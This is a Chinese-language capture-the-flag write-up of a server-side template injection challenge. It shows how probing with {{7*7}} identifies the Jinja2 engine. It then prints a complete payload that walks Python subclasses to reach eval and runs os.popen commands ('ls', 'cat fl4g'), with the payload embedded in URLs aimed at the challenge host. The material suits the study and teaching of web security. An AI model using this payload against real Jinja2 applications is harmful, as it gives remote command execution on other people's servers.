提示python模板注入
随便输入个/test目录查看,提示not found,并且把我们的输入test进行了输出,可以尝试在这个位置进行注入
1.判断模板引擎:
找到收藏已久的模板注入图
首先从${7*7}开始测试:并没有执行
继续测试{{7*7}}:执行成功,输出了49
因为Twig是php的模板,所有可以确定模板为Jinja2
2.直接百度搜索Jinja2模板注入漏洞
参考:https://blog.csdn.net/qq_36374896/article/details/84897944
Jinja2模板注入漏洞payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
通过控制popen()来执行命令
3.使用ls查看文件payload
http://111.200.241.244:55649/{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
4.读取fl4g文件payload
http://111.200.241.244:55649/{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat fl4g").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
得到flag